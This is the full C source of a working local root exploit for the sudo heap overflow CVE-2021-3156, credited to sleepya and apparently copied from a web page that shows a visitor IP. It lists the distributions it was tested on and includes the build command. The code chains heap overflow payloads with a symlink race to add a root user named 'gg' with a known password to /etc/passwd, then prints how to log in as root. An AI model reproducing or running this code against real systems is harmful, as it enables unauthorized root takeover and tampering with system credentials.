Your IP : 3.16.48.82
/*
Exploit for CVE-2021-3156 with def_timestamp overwrite by sleepya
This exploit requires:
- glibc with tcache
- at least 2 CPUs on target machine
- sudo version 1.8.x (1.9.x write size is fixed)
gcc -O2 -o exploit_timestamp_race exploit_timestamp_race.c -ldl
Tested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
- openSUSE 15.0
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#include <pwd.h>
#include <dlfcn.h>
#include <sys/mman.h>
// default sleep time for raceing.
// sleep time is automatically adjusted while running
// this value can be replaced by argv[1]
#define DEFAULT_SLEEP_MS 4000
#define PASSWD_FILE "/etc/passwd"
#define BACKUP_FILE "/tmp/passwd.bak"
#define SUDO_PATH "/usr/bin/sudo"
// for no locale-langpack, working dir length MUST be 0x28-0x37 to create chunk size 0x40
#define WORKING_DIR "/tmp/gogogo123456789012345678901234567890go"
// user: gg, pass: gg
#define PASSWD_LINES "gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash"
#define A8 "AAAAAAAA"
#define A10 A8 A8
#define A20 A10 A10
#define A40 A20 A20
#define A80 A40 A40
#define Ab0 A80 A20 A10
#define Ae0 A80 A40 A20
#define A200 A80 A80 A80 A80
#define A400 A200 A200
#define A800 A400 A400
#define A1000 A800 A800
#define A4000 A1000 A1000 A1000 A1000
#define A10000 A4000 A4000 A4000 A4000
#define CURDIR10 "././././././././././"
#define CURDIR20 CURDIR10 CURDIR10
#define CURDIR40 CURDIR20 CURDIR20
#define CURDIR100 CURDIR40 CURDIR40 CURDIR20
// don't put "SUDO_ASKPASS" enviroment. sudo will fail without logging
static char *senv_nopack[] = {
"1234567" // Intention: no comma
// struct loaded_l10nfile
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", // chunk metadata
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next
A80 A20 A8 // Intention: no comma
// struct loaded_l10nfile
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", // chunk metadata
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next
A20 A10 A8 "1234567\\",
"", // tsdir
"\n" PASSWD_LINES "\n",
"LC_MESSAGES=C.UTF-8@" A80 A20 A8 "12345",
"LANG=C",
"TZ=:",
A10000,
NULL
};
// ubuntu based
static char *senv_langpack[] = {
"1234567" A10 A8 "1234567\\",
"", // tsdir
"\n" PASSWD_LINES "\n",
"LC_MESSAGES=C.UTF-8@" A80 A20,
"LANG=C",
"TZ=:",
A10000,
NULL
};
// opensuse
static char *senv_bundle[] = {
"123456\\",
"", // tsdir
"\n" PASSWD_LINES "\n",
"LC_MESSAGES=C.UTF-8@" A80 A20,
"LANG=C",
"TZ=:",
// sudoers.so (OpenSUSE) that linked with openssl is a mess. heap layout is changed every run.
// set OPENSSL_ia32cap=0 to make predictable heap layout.
"OPENSSL_ia32cap=0",
A10000,
NULL
};
static void backup_passwd()
{
// backup
if (system("cp " PASSWD_FILE " " BACKUP_FILE) != 0) {
printf("Cannot backup passwd file\n");
exit(1);
}
if (system("echo '"PASSWD_LINES"' >> "BACKUP_FILE) != 0) {
printf("Cannot append gg user in backup passwd file\n");
exit(1);
}
}
static size_t get_passwd_size()
{
struct stat st;
stat(PASSWD_FILE, &st);
return st.st_size;
}
static char* get_user()
{
struct passwd *pw;
pw = getpwuid(getuid());
if (!pw) {
puts("Cannot get user name");
exit(1);
}
return strdup(pw->pw_name);
}
static int find_mode()
{
// find libc path
Dl_info info;
if (dladdr(exit, &info) == 0) {
printf("Cannot find libc path\n");
exit(1);
}
// map libc to memory
struct stat st;
int fd = open(info.dli_fname, O_RDONLY);
if (fstat(fd, &st) != 0) {
printf("Cannot load libc\n");
exit(1);
}
void *addr = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
int mode = 1;
// use 'e-langpa' in case of optimization
if (memmem(addr, st.st_size, "e-langpa", 8) != 0) {
mode = 2;
}
if (memmem(addr, st.st_size, "e-bundle", 8) != 0) {
if (mode != 2) {
printf("has no /usr/share/locale-langpack but has /usr/share/locale-bundle\n");
exit(1);
}
mode = 3;
}
munmap(addr, st.st_size);
close(fd);
return mode;
}
const char *alnum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_";
int main(int argc, char **argv)
{
int sleep_us = DEFAULT_SLEEP_MS;
if (argc > 1)
sleep_us = atoi(argv[1]);
size_t initial_size = get_passwd_size();
backup_passwd();
char realdir_name[2] = {0};
char link_timestamp_file[128];
char *user = get_user();
int null_fd = open("/dev/null", O_RDWR);
if (null_fd == -1) {
perror("open");
return 1;
}
char *sudo_argv[] = { "sudoedit", "-A", "-s", Ae0 "\\", NULL };
char tsdir[0x100] = {0};
strcpy(tsdir, CURDIR100);
char *dir_ptr = tsdir + sizeof(CURDIR100) - 1;
char **sudo_env;
switch (find_mode()) {
case 1:
sudo_env = senv_nopack;
sudo_env[79] = tsdir;
break;
case 2:
sudo_env = senv_langpack;
sudo_env[1] = tsdir;
break;
case 3:
sudo_env = senv_bundle;
sudo_env[1] = tsdir;
sudo_argv[3] = A40 "\\";
break;
default:
exit(1);
}
mkdir(WORKING_DIR, 0750);
if (chdir(WORKING_DIR) != 0) {
perror("chdir");
return 1;
}
const char *curr_dir = alnum;
sprintf(link_timestamp_file, "%c/%s", *curr_dir, user);
int success = 0;
struct stat st;
mode_t old_mask = umask(0);
for (int i = 0; i < 1000; ++i) {
*dir_ptr = *curr_dir;
realdir_name[0] = *curr_dir;
link_timestamp_file[0] = *curr_dir;
int pid = fork();
if (!pid) {
execve(SUDO_PATH, sudo_argv, sudo_env);
exit(0);
}
usleep(sleep_us);
if (mkdir(realdir_name, 0777) == -1) {
perror("mkdir");
}
else if (symlink(PASSWD_FILE, link_timestamp_file) == -1) {
perror("symlink");
}
else {
// all success. sudo will unlink it one time
for (int j = 0; j < 5000; j++) {
if (symlink(PASSWD_FILE, link_timestamp_file) == 0) {
// success again
printf("symlink 2nd time success at: %d\n", j);
break;
}
}
}
waitpid(pid, 0, 0);
if (get_passwd_size() != initial_size) {
printf("[+] Success with %d attempts!\n", i);
printf("succes with sleep time %d us\n", sleep_us);
success = 1;
break;
}
if (lstat(link_timestamp_file, &st) == 0) {
if (S_ISLNK(st.st_mode)) {
// symbolic link. create dir is too early
printf("Failed. can cleanup\n");
sleep_us += 100;
}
else {
// failed to create 2nd symbolic link
printf("Failed to create 2nd symbolic\n");
}
// cleanup and reuse dir
if (unlink(link_timestamp_file) == 0) {
rmdir(realdir_name);
} else {
// should never happen
printf("Cannot remove symbolic link !!!\n");
exit(0);
}
}
else {
// sudo create a directory before us. cannot reuse this dir
curr_dir++;
if (*curr_dir == '\0') {
printf("out of dir name\n");
exit(1);
}
printf("change dir to: %c\n", *curr_dir);
// decrease sleep time
if (sleep_us > 0)
sleep_us -= 100;
}
}
if (!success) {
printf("exploit failed\n");
return 1;
}
umask(old_mask);
// restore /etc/passwd with an extra line. cleanup WORKING_DIR.
chdir("/");
system("echo gg | su -c \"cp "BACKUP_FILE " " PASSWD_FILE ";rm -rf " WORKING_DIR "\" - gg ");
unlink(BACKUP_FILE);
printf("now can use \"su - gg\" with 'gg' password to become root\n");
return 0;
}